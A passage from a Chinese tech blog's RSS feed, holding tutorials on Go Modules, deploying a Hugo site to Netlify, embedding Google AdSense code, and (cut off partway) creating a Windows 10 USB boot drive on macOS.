&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.travis-ci.com/user/languages/go/&quot;&gt;Building a Go Project&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Golang</category></item><item><title>Go Modules 详解</title><link>https://www.sulinehk.com/post/go-modules-details/</link><guid isPermaLink="true">https://www.sulinehk.com/post/go-modules-details/</guid><description>介绍了大量与 Go Modules 有关的知识。</description><pubDate>Mon, 17 Jun 2019 13:36:30 GMT</pubDate><content:encoded>&lt;p&gt;Go 1.11 和 Go 1.12 包含了初步的 &lt;strong&gt;Go Modules&lt;/strong&gt; 支持，且计划在 2019 年 8 月发布的 Go 1.13 会在所有开发过程中默认使用 Go Modules。&lt;/p&gt;
&lt;p&gt;Go Modules 是为了提升使用其他开发者代码，即添加 &lt;strong&gt;依赖项（模块、包）&lt;/strong&gt; 时的体验，也是为了让代码的正确性、安全性得到保障。并且 Go Modules 可以使用 GOPROXY 环境变量来解决中国大陆无法使用 go get 的问题。&lt;/p&gt;
&lt;p&gt;所以学习跟 Go Modules 有关的知识是很有必要的。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;模式&lt;/h2&gt;
&lt;p&gt;Go Modules 在 Go 1.11 及 Go 1.12 中有三个模式，根据环境变量 GO111MODULE 定义：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;默认模式（未设置该环境变量或 &lt;code&gt;GO111MODULE=auto&lt;/code&gt;）：Go 命令行工具在同时满足以下两个条件时使用 Go Modules：
&lt;ul&gt;
&lt;li&gt;当前目录不在 GOPATH/src/ 下；&lt;/li&gt;
&lt;li&gt;在当前目录或上层目录中存在 go.mod 文件。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;GOPATH 模式（&lt;code&gt;GO111MODULE=off&lt;/code&gt;）：Go 命令行工具从不使用 Go Modules。相反，它查找 vendor 目录和 GOPATH 以查找依赖项。&lt;/li&gt;
&lt;li&gt;Go Modules 模式（&lt;code&gt;GO111MODULE=on&lt;/code&gt;）：Go 命令行工具只使用 Go Modules，从不咨询 GOPATH。GOPATH 不再作为导入目录，但它仍然存储下载的依赖项（GOPATH/pkg/mod/）和已安装的命令（GOPATH/bin/），只移除了 GOPATH/src/。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Go 1.13 默认使用 Go Modules 模式，所以以上内容在 Go 1.13 发布并在生产环境中使用后都可以忽略。&lt;/p&gt;
&lt;h2&gt;核心文件：go.mod&lt;/h2&gt;
&lt;p&gt;以下就是 go.mod 文件的一个最全面的示例：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;module my/thing
go 1.12
require other/thing v1.0.2 // 这是注释
require new/thing/v2 v2.3.4 // indirect
require（
	new/thing v2.3.4
	old/thing v0.0.0-20190603091049-60506f45cf65
）
exclude old/thing v1.2.3
replace bad/thing v1.4.5 =&amp;gt; good/thing v1.4.5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;很全面，也很复杂。但其实 go.mod 文件在实际项目没有这么复杂，而且一旦该文件存在，就不需要额外的步骤：像 go build、go test，甚至 go list 这样的命令都会根据需要自动添加新的依赖项以满足导入。&lt;/p&gt;
&lt;p&gt;但现在我们还是来详细了解 go.mod 文件的组成：&lt;/p&gt;
&lt;p&gt;go.mod 文件是面向行的, 当前模块（主模块）通常位于第一行，接下来是根据路径排序的依赖项。&lt;/p&gt;
&lt;p&gt;每行包含一个指令，由一个前导动词后跟参数组成。&lt;/p&gt;
&lt;p&gt;所有前导动词的作用如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;module&lt;/code&gt;：定义模块路径。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;go&lt;/code&gt;：设置预期的语言版本。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;require&lt;/code&gt;：要求给定版本或更高版本的特定模块。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;exclude&lt;/code&gt;：排除特定版本模块的使用，不允许的模块版本被视为不可用，并且查询无法返回。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;replace&lt;/code&gt;：使用不同的模块版本替换原有模块版本。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;前导动词还可以按&lt;strong&gt;块&lt;/strong&gt;的方式使用，用括号创建一个块（第 5-8 行），就像在 Go 语言中的导入一样：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import (
	&quot;errors&quot;
	&quot;fmt&quot;
	&quot;log&quot;
)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注释（第 3-4 行）可以使用单行 &lt;code&gt;// 这是注释&lt;/code&gt; 注释，但不能使用多行 &lt;code&gt;/* 这是注释 */&lt;/code&gt; 注释。而 &lt;code&gt;indirect&lt;/code&gt; 注释（第 4 行）标记了该模块不是被当前模块直接导入的，只是被间接导入。&lt;/p&gt;
&lt;p&gt;go.mod 文件只存在于在模块的根目录下，子目录中的导入路径会使用&lt;strong&gt;模块的导入路径 + 子目录路径&lt;/strong&gt;的形式。例如：如果创建了一个名叫 world 的子目录，并不需要在子目录中使用 &lt;code&gt;go mod init&lt;/code&gt; 命令，Go 命令行工具会自动识别它作为 hello 模块的一部分，所以它的导入路径为 hello/world。&lt;/p&gt;
&lt;p&gt;Go 命令行工具会自动处理 go.mod 中指定的模块版本。当源代码中 &lt;code&gt;import&lt;/code&gt; 指向的模块不存在于 go.mod 文件中时，Go 命令行工具会自动搜索这个模块，并将最新版本（最后一个 tag 且非预发布的稳定版本）添加到 go.mod 文件中。&lt;/p&gt;
&lt;p&gt;如果没有 tag，则使用伪版本（第 7 行），这是一种版本语法，专门用于标记没有 tag 的提交（一些 golang.org/x/ 下的包就是没有 tag 的）。如：&lt;code&gt;v0.0.0-20190603091049-60506f45cf65&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;前面部分为语义化版本号，用于标记版本；中间部分为 UTC 的提交时间，用于比较两个伪版本以其确定先后顺序；后面部分是 commit 哈希的前缀，用于标记该版本位于哪个 commit。&lt;/p&gt;
&lt;h2&gt;版本管理文件：go.sum&lt;/h2&gt;
&lt;p&gt;示例如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/gin-gonic/gin v1.4.0 h1:3tMoCCfM7ppqsR0ptz/wi1impNpT7/9wQtMZ8lr1mCQ=
github.com/gin-gonic/gin v1.4.0/go.mod h1:OW2EZn3DO8Ln9oIKOvM++LBO+5UPHJJDH72/q/3rZdM=
github.com/golang/protobuf v1.3.1 h1:YF8+flBXS5eO826T4nzqPrxfhQThhXl0YzfuUPu4SBg=
github.com/golang/protobuf v1.3.1/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;每行由模块导入路径、模块的特定版本和预期哈希组成。&lt;/p&gt;
&lt;p&gt;在每次缺少模块时，如果缓存中不存在，则需要下载并计算其哈希添加到 go.sum 中；如果缓存中存在，则需要匹配 go.sum 中的已有条目。&lt;/p&gt;
&lt;p&gt;这样，构建软件的用户就可以使用哈希验证其构建是否跟你的构建相同（&lt;code&gt;go mod verify&lt;/code&gt;），而无论他们怎样获取依赖项，都可以得到相同的版本。同时也保证了项目依赖不会发生预料之外的恶意修改和其他问题。这也是为什么要将 go.sum 文件加入版本管理（Git）的原因。&lt;/p&gt;
&lt;p&gt;再加上 Go Modules 选择的是&lt;strong&gt;最小版本选择&lt;/strong&gt;策略（默认使用构建中涉及的每个模块的最旧允许版本，使得新版本的发布对构建没有影响）就可以实现可重现的构建（在重复构建时产生相同的结果）。&lt;/p&gt;
&lt;h2&gt;语义化版本&lt;/h2&gt;
&lt;p&gt;什么是&lt;strong&gt;语义化版本&lt;/strong&gt;？语义化版本是一套由 Gravatars 创办者兼 GitHub 共同创办者 Tom Preston-Werner 所建立的约定。在这套约定下，语义化版本号及其更新方式包含了很多有用的信息。&lt;/p&gt;
&lt;p&gt;语义化版本号格式为：&lt;code&gt;X.Y.Z&lt;/code&gt;（主版本号.次版本号.修订号），使用方法如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;进行不向下兼容的修改时，递增主版本号。&lt;/li&gt;
&lt;li&gt;API 保持向下兼容的新增及修改时，递增次版本号。&lt;/li&gt;
&lt;li&gt;修复问题但不影响 API 时，递增修订号。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;举个例子，有一个语义化版本号为：&lt;code&gt;v0.1.2&lt;/code&gt;，则其主版本号为 0，次版本为 1，修订号为 2。而前面的 &lt;code&gt;v&lt;/code&gt; 是 version（版本）的首字母，是 Go 语言惯例使用的，标准的语义化版本没有这个约定。&lt;/p&gt;
&lt;p&gt;所以在使用 Go 命令行工具或 go.mod 文件时，就可以使用语义化版本号来进行&lt;strong&gt;模块查询&lt;/strong&gt;，具体规则如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;默认值（&lt;code&gt;@latest&lt;/code&gt;）：将匹配最新的可用标签版本或源码库的最新未标签版本。&lt;/li&gt;
&lt;li&gt;完全指定版本（&lt;code&gt;@v1.2.3&lt;/code&gt;）：将匹配该指定版本。&lt;/li&gt;
&lt;li&gt;版本前缀（&lt;code&gt;@v1&lt;/code&gt; 或 &lt;code&gt;@v1.2&lt;/code&gt;）：将匹配具有该前缀的最新可用标签版本。&lt;/li&gt;
&lt;li&gt;版本比较（&lt;code&gt;@&amp;lt;v1.2.3&lt;/code&gt; 或 &lt;code&gt;@&amp;gt;=v1.5.6&lt;/code&gt;）：将匹配最接近比较目标的可用标签版本。&lt;code&gt;&amp;lt;&lt;/code&gt; 则为小于该版本的最新版本，&lt;code&gt;&amp;gt;&lt;/code&gt; 则为大于该版本的最旧版本。当使用类 Unix 系统时，需用引号将字符串包裹起来以防止大于小于号被解释为重定向。如：&lt;code&gt;go get &apos;github.com/gin-gonic/gin@&amp;lt;v1.2.3&apos;&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;指定某个 commit（&lt;code&gt;@c856192&lt;/code&gt;）：将匹配该 commit 时的版本。&lt;/li&gt;
&lt;li&gt;指定某个分支（&lt;code&gt;@master&lt;/code&gt;）：将匹配该分支版本。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;如上图所示，为了能让 Go Modules 的使用者能够从旧版本更方便地升级至新版本，Go 语言官方提出了两个重要的规则：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;导入兼容性规则（import compatibility rule）：如果旧包和新包具有相同的导入路径，则新包必须向后兼容旧包。&lt;/li&gt;
&lt;li&gt;语义化导入版本规则（semantic import versioning rule）：每个不同主版本（即不兼容的包 &lt;code&gt;v1&lt;/code&gt; 或 &lt;code&gt;v2&lt;/code&gt;）使用不同的导入路径，以主版本结尾，且每个主版本中最多一个。如：一个 &lt;code&gt;rsc.io/quote&lt;/code&gt;、一个 &lt;code&gt;rsc.io/quote/v2&lt;/code&gt;、一个 &lt;code&gt;rsc.io/quote/v3&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;而与 Git 分支的集成如下：&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;vendor 目录&lt;/h2&gt;
&lt;p&gt;以前使用 vendor 目录有两个目的：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;可以使用依赖项的确切版本用来构建。&lt;/li&gt;
&lt;li&gt;即使原始副本消失，也能保证这些依赖项是可用的。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;而模块现在有了更好的机制来实现这两个目的：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;通过在 go.mod 文件中指定依赖项的确切版本。&lt;/li&gt;
&lt;li&gt;可用性则由缓存代理（&lt;code&gt;$GOPROXY&lt;/code&gt;）实现。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;而且 vendor 目录也很难管理这些依赖项，久而久之就会陷入与 node_modules 黑洞一样的窘境。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;所以，默认情况下使用 Go Modules 将完全忽略 vendor 的依赖项，但是为了平稳过度，可以使用 &lt;code&gt;go mod vendor&lt;/code&gt; 命令可以创建 vendor 目录。&lt;/p&gt;
&lt;p&gt;并在 Go 命令行工具使用 &lt;code&gt;-mod=vendor&lt;/code&gt; 参数，如：&lt;code&gt;go test -mod=vendor ./...&lt;/code&gt;；或设置环境变量 GOFLAGS 为 &lt;code&gt;-mod=vendor&lt;/code&gt;，这样会假定 vendor 目录包含正确的依赖项副本，并忽略 go.mod 文件中的依赖项描述来构建。&lt;/p&gt;
&lt;h2&gt;环境变量 GOPROXY&lt;/h2&gt;
&lt;p&gt;设置环境变量 GOPROXY 可以解决中国大陆无法使用 go get 的问题：&lt;/p&gt;
&lt;p&gt;把 &lt;code&gt;export GOPROXY=https://goproxy.io&lt;/code&gt; 写入 Shell 的配置文件即可。&lt;/p&gt;
&lt;h2&gt;常用命令&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;go mod init&lt;/code&gt;：创建一个新模块，初始化 go.mod 文件，参数为该模块的导入路径，推荐使用这种形式。如：&lt;code&gt;go mod init github.com/linehk/example&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;go get&lt;/code&gt;：更改依赖项版本（或添加新的依赖项）。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;go build&lt;/code&gt;、&lt;code&gt;go test&lt;/code&gt; 等命令：Go 命令行工具会根据需要添加新的依赖项。如：&lt;code&gt;go test ./...&lt;/code&gt;，测试当前模块。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;go list -m all&lt;/code&gt;：打印当前模块依赖。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;go mod tidy&lt;/code&gt;：移除无用依赖。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;go list -m -versions github.com/gin-gonic/gin&lt;/code&gt;：列出该模块的所有版本。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;go mod verify&lt;/code&gt;：验证哈希。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;与 GoLand 集成&lt;/h2&gt;
&lt;p&gt;在 GoLand 2019.1.3 中使用 Go Modules 需要进行两个设置：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Preferences -&amp;gt; Go -&amp;gt; Go Modules (vgo)，勾选 Enable Go Modules (vgo) integration 以启用 Go Modules，并在 Proxy 输入框中输入 &lt;code&gt;https://goproxy.io&lt;/code&gt;。如图所示：
&lt;/li&gt;
&lt;li&gt;Preferences -&amp;gt; Go -&amp;gt; GOPATH，勾选上 Index entire GOPATH 以索引整个 GOPATH，不然无法导入包。如图所示：
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;进行如上设置后，就可以在导入不在缓存中的包时，点击 Sync packages of... 下载该包了：&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://golang.org/cmd/go/&quot;&gt;Command go&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://research.swtch.com/vgo&quot;&gt;Go &amp;amp; Versioning&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://semver.org/lang/zh-CN/&quot;&gt;语义化版本 2.0.0&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Golang</category></item><item><title>部署 Hugo 网站到 Netlify</title><link>https://www.sulinehk.com/post/deploying-hugo-website-to-netlify/</link><guid isPermaLink="true">https://www.sulinehk.com/post/deploying-hugo-website-to-netlify/</guid><description>介绍了如何部署一个 Hugo 网站到 Netlify 和一些额外设置。</description><pubDate>Sun, 16 Jun 2019 12:53:57 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.netlify.com/&quot;&gt;Netlify&lt;/a&gt; 是什么？它是一家云计算公司，为静态网站提供托管和 serverless 后端服务。&lt;/p&gt;
&lt;p&gt;关键在于，与 GitHub 相比，Netlify 托管的网站速度更快，也更稳定。&lt;/p&gt;
&lt;p&gt;本文就来介绍如何部署一个 Hugo 网站到 Netlify 和一些额外设置。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;主题子模块化&lt;/h2&gt;
&lt;p&gt;首先要 Fork 主题到你自己的账号，这样即可以自定义主题，又可以 Pull 到最新的更新。&lt;/p&gt;
&lt;p&gt;然后要把 Hugo 网站的主题子模块化，因为 Netlify 不支持子模块以外的方法来使用主题，如最常见的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/olOwOlo/hugo-theme-even themes/even
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果原来使用的是 &lt;em&gt;git clone&lt;/em&gt; 则需要先删除主题（注意备份），再在网站根目录下输入添加主题子模块的命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git submodule add https://github.com/linehk/hugo-theme-even.git themes/even
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果在网站根目录下出现 &lt;em&gt;.gitmodules&lt;/em&gt; 文件，且内容跟我的类似，则表示成功：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[submodule &quot;themes/even&quot;]
	path = themes/even
	url = https://github.com/linehk/hugo-theme-even.git
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以选择在 &lt;em&gt;.gitignore&lt;/em&gt; 中加入 &lt;em&gt;public/&lt;/em&gt; 来忽略掉 &lt;em&gt;public&lt;/em&gt; 文件夹，因为已经不需要了。&lt;/p&gt;
&lt;p&gt;然后 &lt;em&gt;git push&lt;/em&gt; 到远程仓库即可。&lt;/p&gt;
&lt;h2&gt;部署&lt;/h2&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;跟官网宣传的一样，部署 Hugo 网站到 Netlify 非常简单，步骤如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;点击官网右上角的 &lt;em&gt;Sign up&lt;/em&gt; 来注册登录&lt;/li&gt;
&lt;li&gt;登录成功后会转到类似 &lt;em&gt;https://app.netlify.com/teams/linehk/sites&lt;/em&gt; 的链接，点击 &lt;em&gt;New site from Git&lt;/em&gt; 新建网站&lt;/li&gt;
&lt;li&gt;选择前面部署到的代码托管平台，如：&lt;em&gt;GitHub&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;选择前面上传到的远程仓库&lt;/li&gt;
&lt;li&gt;【可选】在 &lt;em&gt;Build command&lt;/em&gt; 加入 &lt;code&gt;--cleanDestinationDir --forceSyncStatic --gc --ignoreCache --minify&lt;/code&gt; 等额外参数，这些参数的作用如下：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--cleanDestinationDir&lt;/code&gt;：构建前先清理目标文件夹，即 &lt;em&gt;public&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--forceSyncStatic&lt;/code&gt;：强制同步 &lt;em&gt;static&lt;/em&gt; 文件夹&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--gc&lt;/code&gt;：构建后执行一些清理任务（删除掉一些没用的缓存文件）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--ignoreCache&lt;/code&gt;：构建时忽略缓存&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--minify&lt;/code&gt;：压缩网页（Debug 时慎用）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;最后点击 &lt;em&gt;Deploy site&lt;/em&gt; 即可&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;经过部署后已经可以通过 Netlify 分配的域名来访问网站了，如：&lt;em&gt;https://sulinehk.netlify.com/&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;自定义域名&lt;/h2&gt;
&lt;p&gt;对于想对网站使用&lt;strong&gt;主域名&lt;/strong&gt;而言，自定义域名很简单：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;找到 &lt;em&gt;Domain settings&lt;/em&gt; 选项卡，点击进入域名设置&lt;/li&gt;
&lt;li&gt;在 &lt;em&gt;Custom domains&lt;/em&gt; 一项下点击 &lt;em&gt;Add domain alias&lt;/em&gt; 来添加自定义域名&lt;/li&gt;
&lt;li&gt;在弹出来的输入框输出主域名即可，如：&lt;em&gt;www.sulinehk.com&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;在域名商处添加如下的 DNS 记录，等待 DNS 刷新，看到主域名处出现 &lt;em&gt;NETLIFY DNS&lt;/em&gt; 的墨绿色标志即代表成功&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;dns1.p01.nsone.net
dns2.p01.nsone.net
dns3.p01.nsone.net
dns4.p01.nsone.net
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;设置重定向&lt;/h2&gt;
&lt;p&gt;还是在 &lt;em&gt;Custom domains&lt;/em&gt; 选项卡，点击 &lt;em&gt;How to redirect the default Netlify subdomain to your primary domain&lt;/em&gt; 展开查看代码。&lt;/p&gt;
&lt;p&gt;我的代码如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# These rules will change if you change your site’s custom domains or HTTPS settings

# Redirect default Netlify subdomain to primary domain
https://sulinehk.netlify.com/* https://www.sulinehk.com/:splat 301!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 &lt;em&gt;static&lt;/em&gt; 目录下新建文件 &lt;em&gt;_redirects&lt;/em&gt;，粘贴代码进去。&lt;/p&gt;
&lt;h2&gt;开启 HTTPS&lt;/h2&gt;
&lt;p&gt;在 &lt;em&gt;HTTPS&lt;/em&gt; 选项卡下的 &lt;em&gt;SSL/TLS certificate&lt;/em&gt; 选项开启即可。&lt;/p&gt;
&lt;p&gt;证书的签发者为 &lt;em&gt;Let’s Encrypt&lt;/em&gt;，支持自动续期。也可以自定义别的签发者。&lt;/p&gt;
&lt;p&gt;如果想在 &lt;em&gt;Chrome&lt;/em&gt; 地址栏里看到小绿锁（小灰锁），还需要把所有链接都替换成以 &lt;em&gt;https://&lt;/em&gt; 开头的链接。&lt;/p&gt;
&lt;p&gt;接着在页面按下 &lt;em&gt;F12&lt;/em&gt; 来打开开发者工具，并切换到 &lt;em&gt;Network&lt;/em&gt;，刷新页面，查看有什么请求不是以 &lt;em&gt;https://&lt;/em&gt; 发出的，修改相关页面来替换。&lt;/p&gt;
&lt;h2&gt;展示状态徽章&lt;/h2&gt;
&lt;p&gt;在 &lt;em&gt;Status badges&lt;/em&gt; 选项卡下有个链接代码，该链接代码可以展示该网站的部署状态。&lt;/p&gt;
&lt;p&gt;你可以在网站的 GitHub 仓库下的 &lt;em&gt;README.md&lt;/em&gt; 文件中展示它，或者将它放在网站主页的 &lt;em&gt;footer&lt;/em&gt; 上。&lt;/p&gt;
&lt;p&gt;这是我的链接代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[![Netlify Status](https://api.netlify.com/api/v1/badges/04d31b4a-979e-4e29-970b-e769f41130df/deploy-status)](https://app.netlify.com/sites/sulinehk/deploys)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;还有它的展示效果：&lt;a href=&quot;https://app.netlify.com/sites/sulinehk/deploys&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://www.andrewhoog.com/post/git-submodule-for-hugo-themes/&quot;&gt;Using git submodule for Hugo themes&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Website</category></item><item><title>在 Hugo 博客中添加 Google AdSense</title><link>https://www.sulinehk.com/post/add-google-adsense-to-hugo-website/</link><guid isPermaLink="true">https://www.sulinehk.com/post/add-google-adsense-to-hugo-website/</guid><description>介绍了如何在 Hugo 博客中通过嵌入自定义代码来添加 Google AdSense 的详细步骤。</description><pubDate>Mon, 10 Jun 2019 10:35:30 GMT</pubDate><content:encoded>&lt;p&gt;Hugo 原生支持 Google Analytics，一些主题也支持 Baidu Analytics 和 Baidu Push，例如 even。&lt;/p&gt;
&lt;p&gt;但对于 Google AdSense 就没有很好的支持，即便如此，我们也可以通过嵌入自定义的 HTML 代码来使用它。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;添加验证代码&lt;/h2&gt;
&lt;p&gt;首先要找到 &lt;code&gt;themes/even/layouts/partials/head.html&lt;/code&gt; 这个文件。&lt;/p&gt;
&lt;p&gt;观察这个路径，&lt;em&gt;layouts&lt;/em&gt; 意为布局，&lt;em&gt;partials&lt;/em&gt; 意为偏好设置，&lt;em&gt;head.html&lt;/em&gt; 则表示这个文件的内容会出现在所生成的每个网页的头部，在这里插入验证代码再合适不过了。&lt;/p&gt;
&lt;p&gt;只要是在该文件下插入，都可以生效。但是为了美观，我选择插入到 &lt;code&gt;&amp;lt;!-- baidu &amp;amp; google verification  --&amp;gt;&lt;/code&gt; 和 &lt;code&gt;&amp;lt;!-- Site Generator --&amp;gt;&lt;/code&gt; 之间：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Google AdSense --&amp;gt;
&amp;lt;script async src=&quot;//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;script&amp;gt;
  (adsbygoogle = window.adsbygoogle || []).push({
    google_ad_client: &quot;ca-pub-1877996349803670&quot;,
    enable_page_level_ads: true
  });
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以上这段验证代码是我的，你需要修改成你自己的才会生效。&lt;/p&gt;
&lt;p&gt;第一行的注释是为了方便以后的 Debug，不应该删除。&lt;/p&gt;
&lt;p&gt;重新部署网页后，就可以等待验证的通过了。&lt;/p&gt;
&lt;h2&gt;添加广告单元&lt;/h2&gt;
&lt;p&gt;首先要选择在哪里添加广告单元，我选择的是在每篇文章的末尾。&lt;/p&gt;
&lt;p&gt;还是先观察这个路径 &lt;code&gt;themes/even/layouts/post/single.html&lt;/code&gt;，&lt;em&gt;post&lt;/em&gt; 表示跟每篇文章有关。&lt;/p&gt;
&lt;p&gt;我选择插入到 &lt;code&gt;&amp;lt;!-- Copyright --&amp;gt;&lt;/code&gt; 和 &lt;code&gt;&amp;lt;!-- Reward --&amp;gt;&lt;/code&gt; 之间：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Google AdSense --&amp;gt;
&amp;lt;script async src=&quot;//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;ins class=&quot;adsbygoogle&quot; style=&quot;display:block&quot; data-ad-client=&quot;ca-pub-1877996349803670&quot; data-ad-slot=&quot;6956738551&quot;
  data-ad-format=&quot;auto&quot; data-full-width-responsive=&quot;true&quot;&amp;gt;&amp;lt;/ins&amp;gt;
&amp;lt;script&amp;gt;
  (adsbygoogle = window.adsbygoogle || []).push({});
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;以上这段广告单元代码是我的，你需要修改成你自己的才会生效。&lt;/p&gt;
&lt;p&gt;重新部署网页就可以看到在每篇文章末尾都会出现该广告单元：&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
</content:encoded><category>Website</category></item><item><title>在 macOS 上制作 Windows 10 USB 启动盘</title><link>https://www.sulinehk.com/post/create-bootable-windows10-usb-drives-on-macos/</link><guid isPermaLink="true">https://www.sulinehk.com/post/create-bootable-windows10-usb-drives-on-macos/</guid><description>介绍了在 macOS 上制作 Windows 10 1903 版本 USB 启动盘的详细过程。</description><pubDate>Sat, 01 Jun 2019 04:20:26 GMT</pubDate><content:encoded>&lt;p&gt;本文介绍了如何在 macOS 上制作 Windows 10 的 USB 启动盘。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;找到 U 盘路径和 Windows 10 镜像名&lt;/h2&gt;
&lt;p&gt;先插入 U 盘，并双击 Windows 10 镜像来挂载。&lt;/p&gt;
&lt;p&gt;然后在终端输入如下命令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;diskutil list
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到类似于我的输出：&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;U 盘路径可以根据 U 盘大小来找到：例如，我的 U 盘大小是 16 GB，所以我的 U 盘路径为 &lt;code&gt;/dev/disk3&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Windows 10 镜像名可以根据注释来找到：例如，在 &lt;code&gt;/dev/disk4&lt;/code&gt; 后面的括号注释着 &lt;code&gt;disk image&lt;/code&gt;，所以我的镜像名为 &lt;code&gt;CPBA_X64FRE_ZH-CN_DV9&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;把 U 盘格式化为 MS-DOS&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;diskutil eraseDisk MS-DOS &quot;WINDOWS10&quot; MBR disk3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;命令中的 &lt;code&gt;disk3&lt;/code&gt; 是我的 U 盘路径，你需要根据自己的情况修改。&lt;/p&gt;
&lt;h2&gt;通过复制文件来制作启动盘&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;cp -rp /Volumes/CPBA_X64FRE_ZH-CN_DV9/* /Volumes/WINDOWS10/
&lt;/code&gt;&lt;/pre&gt;
